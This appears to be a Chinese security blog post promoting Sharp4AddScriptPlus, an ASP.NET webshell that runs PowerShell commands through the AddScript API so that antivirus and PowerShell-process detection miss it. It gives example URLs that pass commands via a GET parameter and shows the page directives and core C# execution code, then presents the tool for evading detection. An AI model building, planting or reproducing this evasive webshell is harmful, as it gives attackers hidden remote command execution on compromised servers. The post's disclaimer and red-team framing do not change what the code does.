.NET 一款通过API实现的免杀WebShell

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4AddScriptPlus 通过调用 PowerShell 的底层方法 AddScript 来实现命令执行,而无需启动 PowerShell 进程,极大降低了被安全防护软件检测到的几率。这种方法不仅能够完成与 PowerShell 的命令交互,还可以在 Web 环境中轻松触发命令执行,使其成为一种高效且隐蔽的 Webshell。

图片

03

使用方法

下面是 Sharp4AddScriptPlus 的基本用法,比如执行启动计算器程序,在浏览器中访问 Sharp4AddScriptPlus.aspx,并通过 GET 参数 con 传递 PowerShell 命令

http://your-server/Sharp4AddScriptPlus.aspx?con=Start-Process%20calc

另外,用户可以通过浏览器访问 Web 页面,并通过 tasklist 可以获取服务器上当前运行的任务列表,命令如下所示。

http://your-server/Sharp4AddScriptPlus.aspx?con=Invoke-Expression%20tasklist

只需传递一个 PowerShell 命令即可立即执行。通过 Web 页面交互式执行命令的方式降低了使用难度。如下图所示。

图片

04

原理解析

下面是 Sharp4AddScriptPlus 的实现代码,该工具通过 System.Management.Automation 命名空间中的 PowerShell 类来实现命令执行,

<%@ Page Language="cs" %>
<%@ Assembly Name="System.Management.Automation,Version=3.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35" %>
<%@ Import Namespace="System.Management.Automation" %>
<%@ Import Namespace="System.Management.Automation.Runspaces" %>

随后,调用 PowerShell.Create() 创建一个 PowerShell 实例,并通过 AddScript(command) 方法将用户输入的命令添加到命令队列中,如下所示。

using (PowerShell PowerShellInstance = PowerShell.Create())
{
   PowerShellInstance.AddScript(command);
}

使用 Invoke() 方法执行 PowerShell 命令,并将结果存储在 Collection<PSObject> 类型的 output 变量中。然后通过循环将每条输出结果转换为字符串,并追加到结果集中。

综上,Sharp4AddScriptPlus 是一款强大且灵活的 PowerShell Webshell 工具,特别适用于需要绕过传统 PowerShell 检测的渗透测试和红队场景。

05.NET安全知识库

图片

图片

星球文化20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

图片

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

dot.Net安全矩阵

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值